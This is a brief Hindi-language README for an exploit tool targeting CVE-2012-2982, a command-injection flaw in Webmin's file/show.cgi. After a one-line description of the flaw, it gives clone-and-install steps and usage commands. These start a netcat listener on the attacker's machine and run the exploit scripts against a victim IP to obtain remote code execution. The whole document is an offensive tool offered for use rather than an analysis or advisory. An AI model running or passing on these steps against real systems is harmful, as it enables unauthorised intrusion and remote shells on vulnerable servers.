CVE-2012-2982

विवरण

Webmin 1.590 और इससे पहले के संस्करणों में file/show.cgi दूरस्थ प्रमाणित उपयोगकर्ताओं को पथनाम में एक अमान्य वर्ण के माध्यम से मनमाने आदेश निष्पादित करने की अनुमति देता है, जैसा कि | (पाइप) वर्ण द्वारा प्रदर्शित किया गया है।

स्थापना

1. git clone https://github.com/CpyRe/CVE-2012-2982.git
2. pip3 install -r requirements.txt

उपयोग

1. nc -nlvp <port>
2. python3 exp.py <myip> <vulnip> <port> या python3 subprocess-exp.py <myip> <vulnip> <port>
3. RCE!!